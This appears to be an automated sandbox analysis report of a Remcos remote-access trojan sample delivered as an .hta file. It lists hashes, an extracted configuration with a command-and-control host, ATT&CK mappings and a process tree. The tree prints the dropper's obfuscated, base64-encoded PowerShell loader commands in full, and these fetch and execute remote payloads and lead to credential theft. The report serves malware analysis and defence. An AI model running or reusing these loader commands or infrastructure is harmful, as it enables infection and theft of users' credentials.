remcos | cc7d77d7eaf78658e21a950213d1a21c9bc45b1ba279400cbd984468ee721d20

Analysis

max time kernel
150s
max time network
146s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
28-01-2025 08:32

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General

Target

shereallyliketokissy9uuoisheismygirlfriendswholovesmetrulygo.hta
Size

46KB
MD5

05887835a99ba5b4c9af5be59cbd3666
SHA1

c3354d324fd9abe310cb080d80ddd55b02785f92
SHA256

cc7d77d7eaf78658e21a950213d1a21c9bc45b1ba279400cbd984468ee721d20
SHA512

51af02d7eefdee5fa6e7d327575f137efa1af38037875c2141c37156b2bc10afabbdcd15cb0fd436ddce6d6ae55b896ff03702a3ca774fc8988f99a888af48da
SSDEEP

96:IQtaPnLI1mIAvBIAhYcJfw3KwZYxxUunyklIAZBIA35xmIIASGjz:tta/MnAGAFwZYEAMAYASGjz

Score

10^/10

remcos remotehost collection defense_evasion discovery execution rat

Malware Config

Extracted

Family

remcos

Botnet

RemoteHost

hugobross.duckdns.org:1243

Attributes

audio_folder
MicRecords
audio_path
ApplicationPath
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-TA8VXN
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
Remcos family
remcos

Detected Nirsoft tools 3 IoCs

Free utilities often used by attackers which can steal passwords, product keys, etc.

resource	yara_rule
behavioral2/memory/1508-102-0x0000000000400000-0x0000000000424000-memory.dmp	Nirsoft
behavioral2/memory/720-100-0x0000000000400000-0x0000000000462000-memory.dmp	Nirsoft
behavioral2/memory/2588-99-0x0000000000400000-0x0000000000478000-memory.dmp	Nirsoft

NirSoft MailPassView 1 IoCs

Password recovery tool for various email clients

resource	yara_rule
behavioral2/memory/720-100-0x0000000000400000-0x0000000000462000-memory.dmp	MailPassView

NirSoft WebBrowserPassView 1 IoCs

Password recovery tool for various web browsers

resource	yara_rule
behavioral2/memory/2588-99-0x0000000000400000-0x0000000000478000-memory.dmp	WebBrowserPassView

Blocklisted process makes network request 3 IoCs

flow	pid	Process
14	3888	powershell.exe
17	4212	powershell.exe
18	4212	powershell.exe

Evasion via Device Credential Deployment 1 IoCs

defense_evasion execution

pid	Process
3888	powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Control Panel\International\Geo\Nation	mshta.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Control Panel\International\Geo\Nation	WScript.exe

Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts	CasPol.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4212	powershell.exe

Suspicious use of SetThreadContext 4 IoCs

description	pid	Process	procid_target
PID 4212 set thread context of 4656	4212	powershell.exe	93
PID 4656 set thread context of 2588	4656	CasPol.exe	102
PID 4656 set thread context of 720	4656	CasPol.exe	104
PID 4656 set thread context of 1508	4656	CasPol.exe	105

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 11 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CasPol.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CasPol.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	csc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cvtres.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CasPol.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CasPol.exe

Suspicious behavior: EnumeratesProcesses 12 IoCs

pid	Process
3888	powershell.exe
3888	powershell.exe
4212	powershell.exe
4212	powershell.exe
4212	powershell.exe
4212	powershell.exe
2588	CasPol.exe
2588	CasPol.exe
1508	CasPol.exe
1508	CasPol.exe
2588	CasPol.exe
2588	CasPol.exe

Suspicious behavior: MapViewOfSection 5 IoCs

pid	Process
4656	CasPol.exe
4656	CasPol.exe
4656	CasPol.exe
4656	CasPol.exe
4656	CasPol.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	3888	powershell.exe
Token: SeDebugPrivilege	4212	powershell.exe
Token: SeDebugPrivilege	1508	CasPol.exe

Suspicious use of WriteProcessMemory 49 IoCs

description	pid	Process	procid_target
PID 4852 wrote to memory of 2892	4852	mshta.exe	82
PID 4852 wrote to memory of 2892	4852	mshta.exe	82
PID 4852 wrote to memory of 2892	4852	mshta.exe	82
PID 2892 wrote to memory of 3888	2892	cmd.exe	84
PID 2892 wrote to memory of 3888	2892	cmd.exe	84
PID 2892 wrote to memory of 3888	2892	cmd.exe	84
PID 3888 wrote to memory of 3668	3888	powershell.exe	86
PID 3888 wrote to memory of 3668	3888	powershell.exe	86
PID 3888 wrote to memory of 3668	3888	powershell.exe	86
PID 3668 wrote to memory of 1056	3668	csc.exe	87
PID 3668 wrote to memory of 1056	3668	csc.exe	87
PID 3668 wrote to memory of 1056	3668	csc.exe	87
PID 3888 wrote to memory of 4556	3888	powershell.exe	88
PID 3888 wrote to memory of 4556	3888	powershell.exe	88
PID 3888 wrote to memory of 4556	3888	powershell.exe	88
PID 4556 wrote to memory of 4212	4556	WScript.exe	89
PID 4556 wrote to memory of 4212	4556	WScript.exe	89
PID 4556 wrote to memory of 4212	4556	WScript.exe	89
PID 4212 wrote to memory of 1376	4212	powershell.exe	92
PID 4212 wrote to memory of 1376	4212	powershell.exe	92
PID 4212 wrote to memory of 1376	4212	powershell.exe	92
PID 4212 wrote to memory of 4656	4212	powershell.exe	93
PID 4212 wrote to memory of 4656	4212	powershell.exe	93
PID 4212 wrote to memory of 4656	4212	powershell.exe	93
PID 4212 wrote to memory of 4656	4212	powershell.exe	93
PID 4212 wrote to memory of 4656	4212	powershell.exe	93
PID 4212 wrote to memory of 4656	4212	powershell.exe	93
PID 4212 wrote to memory of 4656	4212	powershell.exe	93
PID 4212 wrote to memory of 4656	4212	powershell.exe	93
PID 4212 wrote to memory of 4656	4212	powershell.exe	93
PID 4212 wrote to memory of 4656	4212	powershell.exe	93
PID 4656 wrote to memory of 3304	4656	CasPol.exe	101
PID 4656 wrote to memory of 3304	4656	CasPol.exe	101
PID 4656 wrote to memory of 3304	4656	CasPol.exe	101
PID 4656 wrote to memory of 2588	4656	CasPol.exe	102
PID 4656 wrote to memory of 2588	4656	CasPol.exe	102
PID 4656 wrote to memory of 2588	4656	CasPol.exe	102
PID 4656 wrote to memory of 2588	4656	CasPol.exe	102
PID 4656 wrote to memory of 4364	4656	CasPol.exe	103
PID 4656 wrote to memory of 4364	4656	CasPol.exe	103
PID 4656 wrote to memory of 4364	4656	CasPol.exe	103
PID 4656 wrote to memory of 720	4656	CasPol.exe	104
PID 4656 wrote to memory of 720	4656	CasPol.exe	104
PID 4656 wrote to memory of 720	4656	CasPol.exe	104
PID 4656 wrote to memory of 720	4656	CasPol.exe	104
PID 4656 wrote to memory of 1508	4656	CasPol.exe	105
PID 4656 wrote to memory of 1508	4656	CasPol.exe	105
PID 4656 wrote to memory of 1508	4656	CasPol.exe	105
PID 4656 wrote to memory of 1508	4656	CasPol.exe	105

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\shereallyliketokissy9uuoisheismygirlfriendswholovesmetrulygo.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4852
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\system32\cmd.exe" "/c PoweRSHEll -eX BYpasS -NoP -w 1 -C DEviCECRedentIALDepLOymenT ; IeX($(IEX('[sYSTem.texT.EnCOding]'+[cHAr]0X3a+[CHAR]0X3A+'utF8.GEtSTRINg([System.coNvErt]'+[ChaR]58+[CHar]0x3A+'fROmbAsE64strinG('+[CHAR]34+'JFh2MGdxeiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFEZC1UWVBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1NZW1iZXJkZUZpTkl0aW9OICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJVckxNT24uRExMIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBVSlEsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHFnRGd4cnBhLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBraW5MYmxLTyx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFV3RFdLaixJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgd0gpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5BTUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgImhCdWhHUyIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hTUVTcGFjZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBPeW5CbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRYdjBncXo6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xNTIuMjI4LjIyOS4yMTQvMzAxL2NyZWFtaXNzaW5nZmFsb3ZlcnZlcnluaWNld2l0aGVudGlyZWl0aW1lZ3RvZ2V0bWVsc2VlLmdJRiIsIiRlTnY6QVBQREFUQVxjcmVhbW1pc3Npbmd0aGViZXN0dGhpbmNyZWFtbWlzc2luZ3RoZWJlcy52YnMiLDAsMCk7U3RhcnQtU2xFZVAoMyk7aU52b0tlLUVYcHJFU1Npb04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRlblY6QVBQREFUQVxjcmVhbW1pc3Npbmd0aGViZXN0dGhpbmNyZWFtbWlzc2luZ3RoZWJlcy52YnMi'+[CHar]34+'))')))"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2892
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    PoweRSHEll -eX BYpasS -NoP -w 1 -C DEviCECRedentIALDepLOymenT ; IeX($(IEX('[sYSTem.texT.EnCOding]'+[cHAr]0X3a+[CHAR]0X3A+'utF8.GEtSTRINg([System.coNvErt]'+[ChaR]58+[CHar]0x3A+'fROmbAsE64strinG('+[CHAR]34+'JFh2MGdxeiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFEZC1UWVBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1NZW1iZXJkZUZpTkl0aW9OICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJVckxNT24uRExMIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBVSlEsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHFnRGd4cnBhLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBraW5MYmxLTyx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFV3RFdLaixJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgd0gpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5BTUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgImhCdWhHUyIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hTUVTcGFjZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBPeW5CbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRYdjBncXo6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xNTIuMjI4LjIyOS4yMTQvMzAxL2NyZWFtaXNzaW5nZmFsb3ZlcnZlcnluaWNld2l0aGVudGlyZWl0aW1lZ3RvZ2V0bWVsc2VlLmdJRiIsIiRlTnY6QVBQREFUQVxjcmVhbW1pc3Npbmd0aGViZXN0dGhpbmNyZWFtbWlzc2luZ3RoZWJlcy52YnMiLDAsMCk7U3RhcnQtU2xFZVAoMyk7aU52b0tlLUVYcHJFU1Npb04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRlblY6QVBQREFUQVxjcmVhbW1pc3Npbmd0aGViZXN0dGhpbmNyZWFtbWlzc2luZ3RoZWJlcy52YnMi'+[CHar]34+'))')))"
    3⤵
    - Blocklisted process makes network request
    - Evasion via Device Credential Deployment
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3888
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\s5nq4f4o\s5nq4f4o.cmdline"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:3668
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESB9DA.tmp" "c:\Users\Admin\AppData\Local\Temp\s5nq4f4o\CSC3C190D5FF89492C87DC5F266C62CCD9.TMP"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:1056
  - - C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\creammissingthebestthincreammissingthebes.vbs"
      4⤵
      Checks computer location settings
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:4556
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -Command "[System.Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('JABvAHIAaQBnAGkAbgBhAGwAVABlAHgAdAAgAD0AIAAnAHQAeAB0AC4AcwBnAG4AaQBoAHQAdABzAGUAYgBlAGgAdABnAG4AaQBzAHMAaQBtAG0AYQBlAHIAYwAvADEAMAAzAC8ANAAxADIALgA5ADIAMgAuADgAMgAyAC4AMgA1ADEALwAvADoAcAB0AHQAaAAnADsAJAByAGUAcwB0AG8AcgBlAGQAVABlAHgAdAAgAD0AIAAkAG8AcgBpAGcAaQBuAGEAbABUAGUAeAB0ACAALQByAGUAcABsAGEAYwBlACAAJwAjACcALAAgACcAdAAnADsAJABpAG0AYQBnAGUAVQByAGwAIAA9ACAAJwBoAHQAdABwAHMAOgAvAC8AcgBlAHMALgBjAGwAbwB1AGQAaQBuAGEAcgB5AC4AYwBvAG0ALwBkAG0AdwBuAG0AZQBtAGMAbQAvAGkAbQBhAGcAZQAvAHUAcABsAG8AYQBkAC8AdgAxADcAMwA3ADkAOAA4ADcANwA4AC8AcAA5AGUAYQB3AGQAYgBvAHUAMABrAHUAawBrAGkAaAB0AHIAOAByAC4AagBwAGcAJwA7ACQAdwBlAGIAQwBsAGkAZQBuAHQAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAA7ACQAaQBtAGEAZwBlAEIAeQB0AGUAcwAgAD0AIAAkAHcAZQBiAEMAbABpAGUAbgB0AC4ARABvAHcAbgBsAG8AYQBkAEQAYQB0AGEAKAAkAGkAbQBhAGcAZQBVAHIAbAApADsAJABpAG0AYQBnAGUAVABlAHgAdAAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGkAbQBhAGcAZQBCAHkAdABlAHMAKQA7ACQAcwB0AGEAcgB0AEYAbABhAGcAIAA9ACAAJwA8ADwAQgBBAFMARQA2ADQAXwBTAFQAQQBSAFQAPgA+ACcAOwAkAGUAbgBkAEYAbABhAGcAIAA9ACAAJwA8ADwAQgBBAFMARQA2ADQAXwBFAE4ARAA+AD4AJwA7ACQAcwB0AGEAcgB0AEkAbgBkAGUAeAAgAD0AIAAkAGkAbQBhAGcAZQBUAGUAeAB0AC4ASQBuAGQAZQB4AE8AZgAoACQAcwB0AGEAcgB0AEYAbABhAGcAKQA7ACQAZQBuAGQASQBuAGQAZQB4ACAAPQAgACQAaQBtAGEAZwBlAFQAZQB4AHQALgBJAG4AZABlAHgATwBmACgAJABlAG4AZABGAGwAYQBnACkAOwAkAHMAdABhAHIAdABJAG4AZABlAHgAIAAtAGcAZQAgADAAIAAtAGEAbgBkACAAJABlAG4AZABJAG4AZABlAHgAIAAtAGcAdAAgACQAcwB0AGEAcgB0AEkAbgBkAGUAeAA7ACQAcwB0AGEAcgB0AEkAbgBkAGUAeAAgACsAPQAgACQAcwB0AGEAcgB0AEYAbABhAGcALgBMAGUAbgBnAHQAaAA7ACQAYgBhAHMAZQA2ADQATABlAG4AZwB0AGgAIAA9ACAAJABlAG4AZABJAG4AZABlAHgAIAAtACAAJABzAHQAYQByAHQASQBuAGQAZQB4ADsAJABiAGEAcwBlADYANABDAG8AbQBtAGEAbgBkACAAPQAgACQAaQBtAGEAZwBlAFQAZQB4AHQALgBTAHUAYgBzAHQAcgBpAG4AZwAoACQAcwB0AGEAcgB0AEkAbgBkAGUAeAAsACAAJABiAGEAcwBlADYANABMAGUAbgBnAHQAaAApADsAJABjAG8AbQBtAGEAbgBkAEIAeQB0AGUAcwAgAD0AIABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABiAGEAcwBlADYANABDAG8AbQBtAGEAbgBkACkAOwAkAGwAbwBhAGQAZQBkAEEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUgBlAGYAbABlAGMAdABpAG8AbgAuAEEAcwBzAGUAbQBiAGwAeQBdADoAOgBMAG8AYQBkACgAJABjAG8AbQBtAGEAbgBkAEIAeQB0AGUAcwApADsAJAB0AHkAcABlACAAPQAgAFsAQwBsAGEAcwBzAEwAaQBiAHIAYQByAHkAMQAuAEgAbwBtAGUAXQAuAEcAZQB0AE0AZQB0AGgAbwBkACgAJwBtAGEAaQBuACcAKQAuAEkAbgB2AG8AawBlACgAJABuAHUAbABsACwAIABbAG8AYgBqAGUAYwB0AFsAXQBdACAAQAAoACQAcgBlAHMAdABvAHIAZQBkAFQAZQB4AHQALAAnAGYAYQBsAHMAZQAnACwAJwBDAGEAcwBQAG8AbAAnACwAJwBmAGEAbABzAGUAJwApACkA')) | Invoke-Expression"
        5⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:4212
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"
        6⤵
        
        PID:1376
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"
        6⤵
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        Suspicious behavior: MapViewOfSection
        Suspicious use of WriteProcessMemory
        
        PID:4656
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\Admin\AppData\Local\Temp\vattcghhllxmxieiukoubwoypmdvytsb"
        7⤵
        
        PID:3304
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\Admin\AppData\Local\Temp\vattcghhllxmxieiukoubwoypmdvytsb"
        7⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:2588
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\Admin\AppData\Local\Temp\gcze"
        7⤵
        
        PID:4364
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\Admin\AppData\Local\Temp\gcze"
        7⤵
        Accesses Microsoft Outlook accounts
        System Location Discovery: System Language Discovery
        
        PID:720
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\Admin\AppData\Local\Temp\qxewvrdc"
        7⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1508

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
968cb9309758126772781b83adb8a28f

SHA1
8da30e71accf186b2ba11da1797cf67f8f78b47c

SHA256
92099c10776bb7e3f2a8d1b82d4d40d0c4627e4f1bf754a6e58dfd2c2e97042a

SHA512
4bd50732f8af4d688d95999bddfd296115d7033ddc38f86c9fb1f47fde202bffa27e9088bebcaa3064ca946af2f5c1ca6cbde49d0907f0005c7ab42874515dd3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
19KB

MD5
81aa4efa30fc4255d9c417b3a95fc1f5

SHA1
6c13cf64a3c07bbb8e33e37d5b88bb254d94403c

SHA256
48da31785197553f3ddadd9f99398c3faab59d41685b89127e76bafe4fb0e5d0

SHA512
9c508018391f90cac52689c724ded99c071517fde8f734955d9220ce95d06878d842944868f44c4e85659d1cceb5f2d2a37719d2ea663c012e1abdc6aaba19b2

Download Submit
C:\Users\Admin\AppData\Local\Temp\RESB9DA.tmp

Filesize
1KB

MD5
5f18d18a072ec3828f810054c0c5fa6d

SHA1
7c1ba52b92b265cfe775e2efdfaf672450470ff1

SHA256
acc1b9b8afb9dd728484533da91664b1ae7de924ea2b6b51771eca3e6bc21b92

SHA512
89436086b0d72eebb9daa961a8e36ac1f26efa69fe13670e7565dd67c9535e91ce69b9c4c7f072aed2ee7e4e4a51054eb69948b9a7d0b343dbd2a1f9b6d85116

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_f3txajch.1f3.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\s5nq4f4o\s5nq4f4o.dll

Filesize
3KB

MD5
b6d645ed8e2dcf566fcf712e83d713a9

SHA1
2d7c73ec3a19dd7bc37a0c7e9e2422a9f808586b

SHA256
384736e137ac4a173bb1f89b1a25c0e483eb330f91c25e13a91f560858788f17

SHA512
349db0446b9c2672cef6d1c98fb903b91a400cbd0bc6310297502026ef5a248233aa2709d169bdc5dd5775db3917a6c674aa8a2f8d3de53c1735e50b0e5eaf81

Download Submit
C:\Users\Admin\AppData\Local\Temp\vattcghhllxmxieiukoubwoypmdvytsb

Filesize
4KB

MD5
c3c5f2de99b7486f697634681e21bab0

SHA1
00f90d495c0b2b63fde6532e033fdd2ade25633d

SHA256
76296dc29f718988107d35d0e0b835c2bf3fc7405e79e5121aa4738f82b51582

SHA512
7c60ffdc093de30e793d20768877f2f586bee3e948767871f9a1139252d5d2f593ba6f88ce0ed5f72c79faddb26186792df0581e4b6c84d405c44d9d12f951b8

Download Submit
C:\Users\Admin\AppData\Roaming\creammissingthebestthincreammissingthebes.vbs

Filesize
221KB

MD5
341da1d84b2b18f5396d6920493180c1

SHA1
e53a670bd080ca4df1baf560ac85d2d2cf18d082

SHA256
e8518dc67c12129696b59cc127d2a066accb411452e6ca19f1507d9b8ce555d3

SHA512
f6f2c6353e7c0b51bfc0b80d1dfed3440b2f627dc2bb269f8ea73fca972910e757d08188758c3d10ab1e00a4f570b683c39c1e99e6f8abb265d9141f324b0c52

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\s5nq4f4o\CSC3C190D5FF89492C87DC5F266C62CCD9.TMP

Filesize
652B

MD5
8e6cefa6354523d6ad64835ef0d0e2ee

SHA1
5a3b886ef5a9ffe685f95cb8ce45b7e145188073

SHA256
979dd93bfb179d401a09f10f6537cfefea623f40bebbe5233b795bdfe48514dc

SHA512
283c074eb88213d61e36c34435341c46973940126d47906ecb3ff7a0f4cf69279a3df78ec160c87e67e4c3ee88a19d4a10f095c17be17577e4f50c43e8c5b9ac

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\s5nq4f4o\s5nq4f4o.0.cs

Filesize
481B

MD5
f86ec8ebcf7dbba7c72c1ed4016ca07d

SHA1
6153ce1dbd28385ecd126a0e9ae4aea6a7e4d7bd

SHA256
dec30d002908c68e9db76d807bc2949e32b1d6d6519f864365562f24e2a94458

SHA512
53168e89cb4a5764b99c2f3bc189849c7cce45a1c8d32b98801f1a51d92d2893518a7d04b80a8b1cf03c1a109949e7ac9879f12cb98c6ac512e7376bf504f00c

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\s5nq4f4o\s5nq4f4o.cmdline

Filesize
369B

MD5
a6a210d3c23b9966bbbccef17f9ad4fb

SHA1
4d346d5eee9429319c4a408c00c82c1cc7535ec6

SHA256
f56a3be96ac3a34e2392aaf18f5fdfd6d352786cd31003d3b77e2fb13ff47b54

SHA512
17733d99b88b9c23112d80f2db21b56aef769a4025ee2f4d6c6ca274269e8c6258913e4a7170b03a9847e0749b13594ec24fcff090251f6584dda99ddae3b542

Download Submit
memory/720-95-0x0000000000400000-0x0000000000462000-memory.dmp

Filesize
392KB

Download
memory/720-100-0x0000000000400000-0x0000000000462000-memory.dmp

Filesize
392KB

Download
memory/720-97-0x0000000000400000-0x0000000000462000-memory.dmp

Filesize
392KB

Download
memory/1508-102-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/1508-101-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
